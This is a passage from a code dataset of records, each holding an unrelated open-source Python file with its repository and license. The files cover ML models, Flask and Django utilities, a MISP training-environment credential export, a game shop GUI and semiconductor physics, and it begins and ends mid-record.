str(key) + \"\\\",\\n\\\"type\\\": \\\"\" + edges[key].type + \"\\\"\\n}\")\n else:\n output.write(\",\\n{\\\"id\\\": \\\"\" + str(key) + \"\\\",\\n\\\"type\\\": \\\"\" + edges[key].type + \"\\\"\\n}\")\noutput.write(\"],\")\noutput.write(\"\\\"propertyAttribute\\\":[\")#write edge attributes\nfor key in edges:\n if key == 0:\n if edges[key].TH == \"same address\":\n output.write(\"\\n{\\\"id\\\": \\\"\" + str(key) + \"\\\",\\n\\\"label\\\": \\\"\" + edges[key].TH + \"\\\",\\n\\\"domain\\\": \\\"\" + edges[key].domain + \"\\\",\\n\\\"range\\\": \\\"\" + edges[key].range + \"\\\"\\n}\")\n\n elif edges[key].RST:\n output.write(\"{\\\"id\\\": \\\"\" + str(key) + \"\\\",\\n\\\"label\\\": \\\"TH: \" + edges[key].TH + \", RST: \" + edges[key].RST + \"\\\",\\n\\\"domain\\\": \\\"\" + edges[key].domain + \"\\\",\\n\\\"range\\\": \\\"\" + edges[key].range + \"\\\"\\n}\")\n \n else:\n output.write(\"{\\\"id\\\": \\\"\" + str(key) + \"\\\",\\n\\\"label\\\": \\\"TH: \" + edges[key].TH+ \", C: \" + (str)(edges[key].C) + \"\\\",\\n\\\"domain\\\": \\\"\" + edges[key].domain + \"\\\",\\n\\\"range\\\": \\\"\" + edges[key].range + \"\\\"\\n}\")\n else:\n if edges[key].TH == \"same address\":\n output.write(\",\\n{\\\"id\\\": \\\"\" + str(key) + \"\\\",\\n\\\"label\\\": \\\"\" + edges[key].TH + \"\\\",\\n\\\"domain\\\": \\\"\" + edges[key].domain + \"\\\",\\n\\\"range\\\": \\\"\" + edges[key].range + \"\\\"\\n}\")\n\n elif edges[key].RST:\n output.write(\",\\n{\\\"id\\\": \\\"\" + str(key) + \"\\\",\\n\\\"label\\\": \\\"TH: \" + edges[key].TH + \", RST: \" + edges[key].RST + \"\\\",\\n\\\"domain\\\": \\\"\" + edges[key].domain + \"\\\",\\n\\\"range\\\": \\\"\" + edges[key].range + \"\\\"\\n}\") \n else:\n output.write(\",\\n{\\\"id\\\": \\\"\" + str(key) + \"\\\",\\n\\\"label\\\": \\\"TH: \" + edges[key].TH + \", C: \" + (str)(edges[key].C) + \"\\\",\\n\\\"domain\\\": \\\"\" + edges[key].domain + \"\\\",\\n\\\"range\\\": \\\"\" + edges[key].range + \"\\\"\\n}\")\noutput.write(\"]\\n}\")\ndata.close()\noutput.close() \n", "source": "qqqqyyy/webvowl1.1.7SE", "license": "MIT"} {"text": "from test.integrationtests.skills.skill_tester import SkillTest\nimport mock\n\n\nSEARCH_BASE = 'http://www.google.com/search?&sourceid=navclient&btnI=I&q={}'\n\n\n@mock.patch('mycroft.skills.mycroft_skill.mycroft_skill.DeviceApi.send_email')\ndef test_runner(skill, example, emitter, loader, m1):\n s = [s for s in loader.skills if s and s.root_dir == skill][0]\n with mock.patch('webbrowser.open') as m:\n ret = SkillTest(skill, example, emitter).run(loader)\n if example.endswith('find.puppies.json'):\n m.assert_called_with(SEARCH_BASE.format('wikipedia%20puppies'))\n elif example.endswith('find.puppies.json'):\n m.assert_called_with(SEARCH_BASE.format('imgur'))\n elif example.endswith('open.tumblr.json'):\n m.assert_called_with(SEARCH_BASE.format('tumblr'))\n elif example.endswith('search.for.kittens.json'):\n m.assert_called_with(SEARCH_BASE.format('youtube%20for%20kittens'))\n\n if example.endswith('launch.rocket.json'):\n s.register_vocabulary('rocket', 'Application')\n m = mock.Mock()\n s.appmap['rocket'] = [m]\n ret = SkillTest(skill, example, emitter).run(loader)\n m.launch.assert_called_with()\n elif example.endswith('open.notepad.json'):\n s.register_vocabulary('notepad', 'Application')\n m = mock.Mock()\n s.appmap['notepad'] = [m]\n ret = SkillTest(skill, example, emitter).run(loader)\n m.launch.assert_called_with()\n return ret\n", "source": "JuanCanham/skill-desktop-launcher", "license": "Apache-2.0"} {"text": "from app import db\n\n\nclass BaseModel(db.Model):\n __abstract__ = True\n\n id = db.Column(db.Integer, primary_key=True)\n\n @classmethod\n def find_by_id(cls, _id):\n return cls.query.filter_by(id=_id).first()\n\n def get_id(self):\n return self.id\n\n def save_to_db(self):\n db.session.add(self)\n db.session.commit()\n\n def delete_from_db(self):\n db.session.delete(self)\n db.session.commit()\n", "source": "gzisopoulos/python-iot-data-integrity", "license": "MIT"} {"text": "import warnings\nfrom typing import Any, Optional\n\nfrom torchvision.prototype.transforms import CocoEval\nfrom torchvision.transforms.functional import InterpolationMode\n\nfrom ....models.detection.mask_rcnn import (\n _resnet_fpn_extractor,\n _validate_trainable_layers,\n MaskRCNN,\n misc_nn_ops,\n overwrite_eps,\n)\nfrom .._api import Weights, WeightEntry\nfrom .._meta import _COCO_CATEGORIES\nfrom ..resnet import ResNet50Weights, resnet50\n\n\n__all__ = [\n \"MaskRCNN\",\n \"MaskRCNNResNet50FPNWeights\",\n \"maskrcnn_resnet50_fpn\",\n]\n\n\nclass MaskRCNNResNet50FPNWeights(Weights):\n Coco_RefV1 = WeightEntry(\n url=\"https://download.pytorch.org/models/maskrcnn_resnet50_fpn_coco-bf2d0c1e.pth\",\n transforms=CocoEval,\n meta={\n \"categories\": _COCO_CATEGORIES,\n \"interpolation\": InterpolationMode.BILINEAR,\n \"recipe\": \"https://github.com/pytorch/vision/tree/main/references/detection#mask-r-cnn\",\n \"box_map\": 37.9,\n \"mask_map\": 34.6,\n },\n )\n\n\ndef maskrcnn_resnet50_fpn(\n weights: Optional[MaskRCNNResNet50FPNWeights] = None,\n weights_backbone: Optional[ResNet50Weights] = None,\n progress: bool = True,\n num_classes: int = 91,\n trainable_backbone_layers: Optional[int] = None,\n **kwargs: Any,\n) -> MaskRCNN:\n if \"pretrained\" in kwargs:\n warnings.warn(\"The argument pretrained is deprecated, please use weights instead.\")\n weights = MaskRCNNResNet50FPNWeights.Coco_RefV1 if kwargs.pop(\"pretrained\") else None\n weights = MaskRCNNResNet50FPNWeights.verify(weights)\n if \"pretrained_backbone\" in kwargs:\n warnings.warn(\"The argument pretrained_backbone is deprecated, please use weights_backbone instead.\")\n weights_backbone = ResNet50Weights.ImageNet1K_RefV1 if kwargs.pop(\"pretrained_backbone\") else None\n weights_backbone = ResNet50Weights.verify(weights_backbone)\n\n if weights is not None:\n weights_backbone = None\n num_classes = len(weights.meta[\"categories\"])\n\n trainable_backbone_layers = _validate_trainable_layers(\n weights is not None or weights_backbone is not None, trainable_backbone_layers, 5, 3\n )\n\n backbone = resnet50(weights=weights_backbone, progress=progress, norm_layer=misc_nn_ops.FrozenBatchNorm2d)\n backbone = _resnet_fpn_extractor(backbone, trainable_backbone_layers)\n model = MaskRCNN(backbone, num_classes=num_classes, **kwargs)\n\n if weights is not None:\n model.load_state_dict(weights.state_dict(progress=progress))\n if weights == MaskRCNNResNet50FPNWeights.Coco_RefV1:\n overwrite_eps(model, 0.0)\n\n return model\n", "source": "ethanwhite/vision", "license": "BSD-3-Clause"} {"text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport csv\nimport json\n\nfrom misp_instances import MISPInstances\n\n\ndef auth_from_config(config):\n auth_admin = {'url': config['baseurl'], 'login': 'admin@admin.test', 'authkey': config['admin_key'], 'password': config['admin_password']}\n site_admin = {'url': config['baseurl'], 'login': config['email_site_admin'], 'authkey': config['site_admin_authkey'], 'password': config['site_admin_password']}\n org_admin = {'url': config['baseurl'], 'login': config['email_orgadmin'], 'authkey': config['orgadmin_authkey'], 'password': config['orgadmin_password']}\n return auth_admin, site_admin, org_admin\n\n\nif __name__ == '__main__':\n to_dump = []\n instances = MISPInstances()\n auth_admin, site_admin, org_admin = auth_from_config(instances.central_node.config)\n to_dump.append(auth_admin)\n to_dump.append(site_admin)\n to_dump.append(org_admin)\n for node in instances.client_nodes.values():\n auth_admin, site_admin, org_admin = auth_from_config(node.config)\n to_dump.append(auth_admin)\n to_dump.append(site_admin)\n to_dump.append(org_admin)\n\n with (instances.misp_instances_dir / 'auth.json').open('w') as f:\n json.dump(to_dump, f, indent=2)\n\n with (instances.misp_instances_dir / 'auth.csv').open('w') as csvfile:\n fieldnames = ['url', 'login', 'authkey', 'password']\n writer = csv.DictWriter(csvfile, fieldnames=fieldnames)\n\n writer.writeheader()\n for a in to_dump:\n writer.writerow(a)\n", "source": "MISP/dokerized_training_environment", "license": "MIT"} {"text": "\"\"\"Setup Merlin AutoDSE package\"\"\"\nfrom setuptools import setup, find_packages\n\nsetup(\n name='autodse',\n version='0.1',\n keywords='merlin autodse',\n description='Automated design space exploration for the Merlin compiler',\n license='Falcon License',\n url='https://github.com/falcon-computing/Merlin_DSE',\n author='Falcon Computing Solutions, Inc',\n author_email='',\n packages=find_packages(),\n include_package_data=True,\n platforms='any',\n install_requires=['argparse', 'pickledb', 'jsonpickle', 'redis', 'texttable', 'matplotlib'],\n)\n", "source": "falcon-computing/Merlin_DSE", "license": "Apache-2.0"} {"text": "from reader_server.backends.interface import AbstractDb\nfrom .connection import Connection\nfrom .feeds import Feeds\nfrom .subscriptions import Subscriptions\nfrom .users import Users\n\n\nclass Db(AbstractDb):\n def __init__(self) -> None:\n self._conn = Connection()\n self._feeds = Feeds(self._conn)\n self._subscriptions = Subscriptions(self._conn)\n self._users = Users(self._conn)\n\n @property\n def feeds(self) -> Feeds:\n return self._feeds\n\n @property\n def subscriptions(self) -> Subscriptions:\n return self._subscriptions\n\n @property\n def users(self) -> Users:\n return self._users\n", "source": "brendanlong/python-reader-server", "license": "Unlicense"} {"text": "from typing import List\n\nclass Solution:\n def longestCommonPrefix(self, strs: List[str]) -> str:\n prefixes = {}\n prefix = \"\"\n for j in range(len(strs)):\n for k in range(len(strs[j])+1):\n if strs[j][:k] in prefixes:\n prefixes[strs[j][:k]] += 1\n else:\n prefixes[strs[j][:k]] = 1\n if prefixes[strs[j][:k]] % len(strs) == 0 and len(strs[j][:k]) > len(prefix):\n prefix = strs[j][:k]\n return prefix\n\nif __name__ == \"__main__\":\n sol = Solution()\n strs = [\"flower\",\"flow\",\"flight\"]\n # strs = [\"dog\",\"racecar\",\"car\"]\n # strs = [\"a\"]\n print(sol.longestCommonPrefix(strs))", "source": "PromasterGuru/Leetcode-Solutions", "license": "MIT"} {"text": "#!/usr/bin/env python\nfrom flask import Flask\n\nfrom middleware import gzip_http_request_middleware\nfrom views import json_echo_view_function, JsonEchoViewClass\n\napp = Flask(__name__)\n\n# this can also be done using the @app.before_request decorator\napp.before_request(gzip_http_request_middleware)\napp.add_url_rule('/', 'echo', json_echo_view_function, methods=['POST', ])\napp.add_url_rule('/alt/', view_func=JsonEchoViewClass.as_view('alt'))\n\n\nif __name__ == \"__main__\":\n app.run(host='127.0.0.1', port='9000')\n", "source": "cralston0/gzip-encoding", "license": "BSD-3-Clause"} {"text": "size(200, 200)\n\npath = BezierPath()\npath.rect(50, 50, 100, 100)\npath.reverse()\npath.rect(75, 75, 50, 50)\ndrawPath(path)\n", "source": "jenskutilek/drawbot-skia", "license": "Apache-2.0"} {"text": "# ===============================================================================\n# Copyright 2015 Jake Ross\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ===============================================================================\n\n# ============= enthought library imports =======================\nfrom __future__ import absolute_import\n\nimport uuid\n\nfrom pychron.core.helpers.iterfuncs import groupby_group_id\nfrom pychron.options.isochron import InverseIsochronOptions\nfrom pychron.options.spectrum import SpectrumOptions\nfrom pychron.pipeline.plot.editors.figure_editor import FigureEditor\nfrom pychron.processing.analyses.analysis_group import InterpretedAgeGroup\n\n\nclass InterpretedAgeEditor(FigureEditor):\n def get_interpreted_ages(self):\n po = self.plotter_options\n additional = {}\n if isinstance(po, SpectrumOptions):\n ek = po.plateau_age_error_kind\n pk = 'Plateau'\n\n additional['include_j_error_in_plateau'] = po.include_j_error_in_plateau\n additional['include_j_error_in_integrated'] = po.include_j_error_in_integrated\n additional['plateau_nsteps'] = po.pc_nsteps\n additional['plateau_gas_fraction'] = po.pc_gas_fraction\n additional['plateau_method'] = po.plateau_method\n\n elif isinstance(po, InverseIsochronOptions):\n pk = 'Isochron'\n ek = po.error_calc_method\n additional['include_j_error_in_mean'] = True\n\n else:\n ek = po.error_calc_method\n pk = 'Weighted Mean'\n # additional['include_j_error_in_individual_analyses'] = po.include_j_error_in_individual_analyses\n additional['include_j_position_error'] = po.include_j_position_error\n additional['include_j_error_in_mean'] = po.include_j_error_in_mean\n\n def func(aa):\n p = InterpretedAgeGroup(analyses=aa,\n use=True,\n uuid=str(uuid.uuid4()),\n **additional)\n p.set_preferred_kinds()\n p.set_preferred_age(pk, ek)\n return p\n\n ias = [func(list(ans)) for gid, ans in groupby_group_id(self.analyses)]\n return ias\n\n# ============= EOF =============================================\n", "source": "ael-noblegas/pychron", "license": "Apache-2.0"} {"text": "def build_shopkeeper_dialog(scene, buyer, seller):\n class ItemDisplay(gui.BorderedControl):\n def __init__(self, item, depreciate=True, **kwargs):\n gui.BorderedControl.__init__(self, **kwargs)\n self.item = item\n self.depreciate = depreciate\n self._initComponents()\n \n def _initComponents(self):\n fc = (0,0,0)\n \n # Item Image\n image = gui.Image(parent=self, surface=self.item.image, width=50, height=50, borderWidth=2) \n # Item Name\n name = gui.Label(parent=self, text=self.item.name, fontColor=fc) \n # Item Count (if greater than 1)\n self.count = gui.Label(parent=self, text=\"Count: %d\" % self.item.count if self.item.count > 0 else \"\", fontColor=fc) \n # Item Cost\n value = self.item.worth if self.depreciate else self.item.fullValue\n cost = gui.Label(parent=self, text=\"Cost: %d\" % value, fontColor=fc)\n \n # position the controls \n image.x, image.y = 10, 10\n \n name.x = image.right + 5\n name.y = image.y+(image.height-name.height)/2\n \n self.count.x = image.x\n self.count.y = image.bottom + 5\n \n cost.x = self.count.x\n cost.y = self.count.bottom + 5\n \n self.add(image)\n self.add(name)\n self.add(self.count)\n self.add(cost)\n \n class ShopInterface(gui.Application):\n '''Constructs a shop interface based on a passed in actor's inventory.'''\n \n def __init__(self, scene, buyer, seller, **kwargs):\n gui.Application.__init__(self, **kwargs) \n if 'backgroundColor' not in kwargs: self.backgroundColor = (0,0,0,50)\n \n self.scene = scene\n self.buyer = buyer\n self.seller = seller\n self.itemDisplayShown = None\n self.itemDisplayLabel = None\n self._initComponents()\n \n def __repr__(self): return 'ShopInterface'\n \n def _initComponents(self):\n # title\n title = gui.Label(text='Storekeeper Interface for %s' % self.seller.name, parent=self)\n title.x = 10\n title.y = 10\n self.add(title)\n \n # buyer/seller lists container\n self.frame = gui.BorderedControl(parent=self)\n \n # buyer's title\n buyerTitle = gui.Label(text=\"%s's Inventory\" % self.buyer.name, parent=self.frame)\n buyerTitle.x = 10\n buyerTitle.y = 10\n \n # buyer's money\n self.buyerMoney = gui.Label(text='Money: %s' % self.buyer.money, parent=self.frame)\n self.buyerMoney.x = buyerTitle.x\n self.buyerMoney.y = buyerTitle.bottom + 10\n \n # build the buyer list\n self.buyerList = gui.ListBox(parent=self.frame, width=300, height=300)\n \n self.buyerList.x = self.buyerMoney.x\n self.buyerList.y = self.buyerMoney.bottom + 10\n \n # buy/sell buttons\n self.buyButton = gui.Button(text=\"Buy\", width=50, height=50)\n self.buyButton.callback = self.buyButtonCb\n self.sellButton = gui.Button(text=\"Sell\", width=50, height=50)\n self.sellButton.callback = self.sellButtonCb\n\n self.buyButton.x = self.buyerList.right + 10\n self.buyButton.y = self.buyerList.y + self.buyerList.height / 3\n\n self.sellButton.x = self.buyButton.x\n self.sellButton.y = self.buyButton.bottom + 10\n \n # seller's title \n sellerTitle = gui.Label(text=\"%s's Inventory\" % self.seller.name, parent=self.frame)\n sellerTitle.y = 10\n sellerTitle.x = self.buyButton.right + 10\n sellerTitle.y = buyerTitle.y \n\n # seller's money\n self.sellerMoney = gui.Label(text=\"Money: %s\" % self.seller.money, parent=self.frame)\n self.sellerMoney.x = sellerTitle.x\n self.sellerMoney.y = sellerTitle.bottom + 10\n \n # build the seller list\n self.sellerList = gui.ListBox(parent=self.frame, width=300, height=300)\n \n self.sellerList.x = self.sellerMoney.x\n self.sellerList.y = self.sellerMoney.bottom + 10\n \n self.frame.add(buyerTitle)\n self.frame.add(self.buyerMoney)\n \n self.frame.add(self.buyerList)\n self.frame.add(self.buyButton)\n self.frame.add(self.sellButton)\n self.frame.add(sellerTitle)\n self.frame.add(self.sellerMoney)\n self.frame.add(self.sellerList)\n \n self.frame.width = max(self.frame.width, 10+self.buyerList.width+10+self.buyButton.width+10+self.sellerList.width+10)\n self.frame.height = max(self.frame.height, buyerTitle.height + self.buyerMoney.height + self.buyerList.height + 40)\n self.frame.x = (self.width-self.frame.width)/2\n self.frame.y = (self.height-self.frame.height)/2\n \n # done button\n doneButton = gui.Button(text=\"Done\", callback=lambda x,y: y.ancestor.exit(), parent=self, width=100, height=50)\n doneButton.x = self.frame.right - doneButton.width\n doneButton.y = self.frame.bottom + 10\n \n self.add(doneButton)\n self.add(self.frame)\n \n self.populateList(self.buyerList, self.buyer, True)\n self.populateList(self.sellerList, self.seller, False)\n \n def populateList(self, list, actor, buyer):\n for item in actor.inventory.stowed:\n if item.count <= 0: continue\n id = ItemDisplay(item, buyer)\n id.borderRenderer = gui.RoundBorderRenderer(id, borderWidth=2, backgroundColor=(255,255,255))\n id.borderRenderer.cornerRadius = 20\n id.width = self.frame.width - 20\n id.y = 10 \n id.height = self.frame.y - 20\n id.x = (self.width-id.width)/2\n id.show = False\n self.add(id)\n \n lbl = gui.Label(text=item.name, width=list.width)\n ih = self.ItemHover(self, id, lbl, buyer)\n lbl.clicked = ih.clicked\n list.add(lbl)\n \n def redraw(self):\n self.buyerMoney.text = 'Money: %s' % self.buyer.money\n self.sellerMoney.text = 'Money: %s' % self.seller.money\n self.itemDisplayShown.show = False\n self.buyerList.removeAllChildren()\n self.populateList(self.buyerList, self.buyer, True)\n self.sellerList.removeAllChildren()\n self.populateList(self.sellerList, self.seller, False)\n \n def buyButtonCb(self, event, control):\n item = self.itemDisplayShown.item\n if self.buyer.canBuyItem(item):\n ynd = gui.Dialog.createYesNoDialog('Are you sure you want to buy the %s?' % item.name)\n ynd.run()\n if ynd.result: self.buyer.buyItem(self.seller, item)\n else:\n gui.Dialog.createOkDialog('You cannot afford to buy the %s.' % item.name).run()\n\n self.redraw()\n \n def sellButtonCb(self, event, control):\n item = self.itemDisplayShown.item\n if self.seller.canBuyItem(item, False):\n ynd = gui.Dialog.createYesNoDialog('Are you sure you want to sell the %s?' % item.name)\n ynd.run()\n if ynd.result: self.seller.buyItem(self.buyer, item, False)\n else:\n gui.Dialog.createOkDialog('%s cannot afford to buy the %s.' % (seller.name, item.name)).run()\n \n self.redraw()\n \n class ItemHover: \n def __init__(self, app, itemDisplay, label, buyer=True): \n self.app = app\n self.id = itemDisplay\n self.label = label\n self.buyer = buyer\n self.origBuyClicked = None\n self.origSellClicked = None\n \n def clicked(self, event, control):\n if self.app.itemDisplayShown:\n self.app.itemDisplayShown.show = False\n if self.app.itemDisplayLabel:\n self.app.itemDisplayLabel.backgroundColor = (0,0,0,0)\n \n self.id.show = True\n self.label.backgroundColor = (0,0,0,50)\n self.app.itemDisplayShown = self.id\n self.app.itemDisplayLabel = self.label\n \n if self.buyer: \n self.app.buyButton.enabled = False\n self.app.sellButton.enabled = True\n else: \n self.app.buyButton.enabled = True\n self.app.sellButton.enabled = False\n \n def mouseEnter(self, event): self.id.show = True \n def mouseLeave(self, event): self.id.show = False\n \n return ShopInterface(scene, buyer, seller)\n \ndef speak(otherFuncs, actor, scene):\n scene.playDialog(actor, 'I have a few items I can sell...')\n otherFuncs.build_shopkeeper_dialog(scene, scene.player, actor).run()", "source": "mavroskardia/oworld", "license": "MIT"} {"text": "import os\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\n\nclass DeepQNetwork(nn.Module):\n def __init__(self, lr, state_size, action_size, checkpoint_name, checkpoint_dir):\n super(DeepQNetwork, self).__init__()\n self.checkpoint_dir = checkpoint_dir\n self.checkpoint_file = os.path.join(self.checkpoint_dir, checkpoint_name)\n\n self.fc1 = nn.Linear(state_size, 64)\n self.fc2 = nn.Linear(64, 64)\n self.fc3 = nn.Linear(64, 64)\n self.fc4 = nn.Linear(64, action_size)\n\n self.optimizer = optim.RMSprop(self.parameters(), lr=lr)\n self.loss = nn.MSELoss()\n self.device = torch.device('cuda:0' if torch.cuda.is_available() else 'cpu')\n self.to(self.device)\n\n def forward(self, state):\n x = F.relu(self.fc1(state))\n x = F.relu(self.fc2(x))\n x = F.relu(self.fc3(x))\n actions = self.fc4(x)\n return actions\n\n def save_checkpoint(self):\n print('saving checkpoint')\n torch.save(self.state_dict(), self.checkpoint_file)\n\n def load_checkpoint(self):\n print('loading checkpoint')\n self.load_state_dict(torch.load(self.checkpoint_file))", "source": "dgander000/deep-reinforcement-learning", "license": "MIT"} {"text": "from deltapv import objects, scales, util\nfrom jax import numpy as jnp, custom_jvp\n\nPVCell = objects.PVCell\nLightSource = objects.LightSource\nPotentials = objects.Potentials\nArray = util.Array\nf64 = util.f64\n\n\n@custom_jvp\ndef n(cell: PVCell, pot: Potentials) -> Array:\n\n return cell.Nc * jnp.exp(cell.Chi + pot.phi_n + pot.phi)\n\n\n@n.defjvp\ndef n_jvp(primals, tangents):\n cell, pot = primals\n dcell, dpot = tangents\n expterm = jnp.exp(cell.Chi + pot.phi_n + pot.phi)\n primal_out = cell.Nc * expterm\n tangent_out = expterm * (dcell.Nc + cell.Nc\n * (dcell.Chi + dpot.phi_n + dpot.phi))\n return primal_out, tangent_out\n\n\n@custom_jvp\ndef p(cell: PVCell, pot: Potentials) -> Array:\n\n return cell.Nv * jnp.exp(-cell.Chi - cell.Eg - pot.phi_p - pot.phi)\n\n\n@p.defjvp\ndef p_jvp(primals, tangents):\n cell, pot = primals\n dcell, dpot = tangents\n expterm = jnp.exp(-cell.Chi - cell.Eg - pot.phi_p - pot.phi)\n primal_out = cell.Nv * expterm\n tangent_out = expterm * (dcell.Nv - cell.Nv\n * (dcell.Chi + dcell.Eg + dpot.phi_p + dpot.phi))\n return primal_out, tangent_out\n\n\ndef charge(cell: PVCell, pot: Potentials) -> Array:\n\n _n = n(cell, pot)\n _p = p(cell, pot)\n return -_n + _p + cell.Ndop\n\n\ndef ni(cell: PVCell) -> Array:\n\n return jnp.sqrt(cell.Nc * cell.Nv) * jnp.exp(-cell.Eg / 2)\n\n\ndef Ec(cell: PVCell) -> Array:\n\n return -cell.Chi\n\n\ndef Ev(cell: PVCell) -> Array:\n\n return -cell.Chi - cell.Eg\n\n\ndef EFi(cell: PVCell) -> Array:\n\n return Ec(cell) - cell.Eg / 2 + scales.kB * scales.T / (\n 2 * scales.q * scales.energy) * jnp.log(cell.Nc / cell.Nv)\n\n\ndef EF(cell: PVCell) -> Array:\n\n _ni = ni(cell)\n Ndop_nz = jnp.where(cell.Ndop != 0, cell.Ndop, _ni)\n\n dEF = scales.kB * scales.T / (scales.q * scales.energy) * jnp.where(\n Ndop_nz > 0, jnp.log(jnp.abs(Ndop_nz) / _ni),\n -jnp.log(jnp.abs(Ndop_nz) / _ni))\n\n return EFi(cell) + dEF\n\n\ndef flatband_wf(Nc, Nv, Eg, Chi, N):\n\n kBT = scales.kB * scales.T / scales.q\n ni = jnp.sqrt(Nc * Nv) * jnp.exp(-Eg / (2 * kBT))\n Ec = -Chi\n EFi = Ec - Eg / 2 + (kBT / 2) * jnp.log(Nc / Nv)\n dEF = kBT * jnp.where(N > 0, jnp.log(jnp.abs(N) / ni),\n -jnp.log(jnp.abs(N) / ni))\n\n return -EFi - dEF\n", "source": "ColdAdam/deltapv", "license": "MIT"} {"text": "from __future__ import unicode_literals\n\nfrom importlib import import_module\n\nfrom django.apps import apps\nfrom django.conf import settings\nfrom django.http import HttpRequest\nfrom rest_framework.test import APIClient\n\n\nclass PatchedAPIClient(APIClient):\n def login(self, **credentials):\n \"\"\"\n Sets the Factory to appear as if it has successfully logged into a site.\n\n Returns True if login is possible; False if the provided credentials\n are incorrect, or the user is inactive, or if the sessions framework is\n not available.\n \"\"\"\n from django.contrib.auth import authenticate\n from wristband.authentication.utils import login\n\n user = authenticate(**credentials)\n if (user and user.is_active and\n apps.is_installed('django.contrib.sessions')):\n engine = import_module(settings.SESSION_ENGINE)\n\n # Create a fake request to store login details.\n request = HttpRequest()\n\n if self.session:\n request.session = self.session\n else:\n request.session = engine.SessionStore()\n login(request, user)\n\n # Save the session values.\n request.session.save()\n\n # Set the cookie to represent the session.\n session_cookie = settings.SESSION_COOKIE_NAME\n self.cookies[session_cookie] = request.session.session_key\n cookie_data = {\n 'max-age': None,\n 'path': '/',\n 'domain': settings.SESSION_COOKIE_DOMAIN,\n 'secure': settings.SESSION_COOKIE_SECURE or None,\n 'expires': None,\n }\n self.cookies[session_cookie].update(cookie_data)\n\n return True\n else:\n return False\n", "source": "hmrc/wristband", "license": "Apache-2.0"} {"text": "import sys\nsys.path.append('../')\nimport argparse\nimport datetime\nimport json\nimport os\nimport keras\nimport keras.backend as K\nimport tensorflow as tf\nimport numpy as np\nimport pandas as pd\nimport csv\nimport globals\nfrom globals import BATCH_SIZE, IMG_HEIGHT, IMG_WIDTH, \\\n NUM_CHANNELS, NUM_CLASSES, EPOCHS, INPUT_SHAPE, \\\n K_NEGATIVE_SAMPLE_RATIO_WEIGHT, LEARNING_RATE, \\\n IMG_CAM_WIDTH, IMG_CAM_HEIGHT, NUM_CAM_CHANNELS, INPUT_SHAPE_CAM\n\nfrom keras.callbacks import ModelCheckpoint, TensorBoard, Callback, ReduceLROnPlateau\nfrom keras.layers.core import Dense, Flatten, Dropout\nfrom keras.layers import Input, concatenate, Reshape, BatchNormalization, Activation, Lambda, Concatenate\nfrom keras.models import Model, Sequential\nfrom keras.optimizers import Adam\nfrom keras.layers.pooling import MaxPooling2D\nfrom keras.layers.merge import Add\nfrom common.camera_model import CameraModel\nfrom process.globals import CAM_IMG_BOTTOM, CAM_IMG_TOP\nfrom loader import get_data_and_ground_truth, data_generator_train, \\\n data_number_of_batches_per_epoch, filter_camera_data_and_gt, \\\n generate_index_list, file_prefix_for_timestamp, \\\n load_data\nfrom model import build_model, load_model\nfrom pretrain import calculate_population_weights\nfrom common import pr_curve_plotter\nfrom common.csv_utils import foreach_dirset\nfrom train import LossHistory\n\n\ndef load_fcn(model_file, weights_file, lockLidarModel, lockCameraModel, trainable):\n\n with open(model_file, 'r') as jfile:\n print('Loading weights file {}'.format(weights_file))\n print(\"reading existing model and weights\")\n model = keras.models.model_from_json(json.loads(jfile.read()))\n model.load_weights(weights_file)\n \n for layer in model.layers:\n layer.trainable = trainable\n if (lockCameraModel and \"cameraNet\" in layer.name) or (lockLidarModel and \"lidarNet\" in layer.name):\n layer.trainable = False\n print layer.name, \"trainable mode changed to False\"\n \n model.compile(optimizer=Adam(lr=LEARNING_RATE),\n loss=\"mean_squared_error\", metrics=['mae'])\n \n print(model.summary()) \n return model\n\ndef load_gt(indicies, centroid_rotation, gt, obs_size):\n \n batch_index = 0\n\n for ind in indicies:\n gt[batch_index,0] = centroid_rotation[0][ind] #tx\n gt[batch_index,1] = centroid_rotation[1][ind] #ty\n gt[batch_index,2] = centroid_rotation[2][ind] #tz\n gt[batch_index,3] = centroid_rotation[5][ind] #rz\n gt[batch_index,4] = obs_size[0][ind]\n gt[batch_index,5] = obs_size[1][ind]\n gt[batch_index,6] = obs_size[2][ind] \n batch_index += 1\n\ndef load_radar_data(indicies, radar_ranges_angles, radar_data):\n\n batch_index = 0\n for ind in indicies:\n radar_ranges_angles[batch_index,0] = radar_data[0][ind]\n radar_ranges_angles[batch_index,1] = radar_data[1][ind]\n batch_index +=1\n \ndef data_generator_FCN(obs_centroids, obs_size, \n pickle_dir_and_prefix_cam, pickle_dir_and_prefix_lidar,\n batch_size, radar_data, cache):\n \n tx = obs_centroids[0]\n ty = obs_centroids[1]\n tz = obs_centroids[2]\n rx = obs_centroids[3]\n ry = obs_centroids[4]\n rz = obs_centroids[5]\n \n obsl = obs_size[0]\n obsw = obs_size[1]\n obsh = obs_size[2]\n\n cam_images = np.ndarray(shape=(batch_size, globals.IMG_CAM_HEIGHT, \n globals.IMG_CAM_WIDTH, globals.NUM_CAM_CHANNELS), dtype=float) \n lidar_images = np.ndarray(shape=(batch_size, globals.IMG_HEIGHT, \n globals.IMG_WIDTH, globals.NUM_CHANNELS), dtype=float)\n centroid_rotation_size = np.ndarray(shape=(batch_size, 7), dtype=float)\n centroid = np.ndarray(shape=(batch_size, 3), dtype=float)\n rz = np.ndarray(shape=(batch_size,1), dtype=float)\n radar_ranges_angles = np.ndarray(shape=(batch_size, 2), dtype=float)\n\n num_batches = data_number_of_batches_per_epoch(pickle_dir_and_prefix_cam, batch_size)\n\n indicies_list = np.arange(len(tx))\n \n is_cache_avail = False\n\n# if cache is not None:\n# is_cache_avail = cache['cam_images'] is not None and cache['centroid'] is not None\n# if not is_cache_avail:\n# cache['cam_images'] = np.ndarray(shape=(len(pickle_dir_and_prefix_cam), globals.IMG_CAM_HEIGHT, \n# globals.IMG_CAM_WIDTH, globals.NUM_CAM_CHANNELS), dtype=float)\n# cache['lidar_images'] = np.ndarray(shape=(len(pickle_dir_and_prefix_lidar), globals.IMG_HEIGHT, \n# globals.IMG_WIDTH, globals.NUM_CHANNELS), dtype=float)\n# cache['radar_data'] = np.ndarray(shape=(len(radar_data[0]), 2), dtype=float) \n# \n# 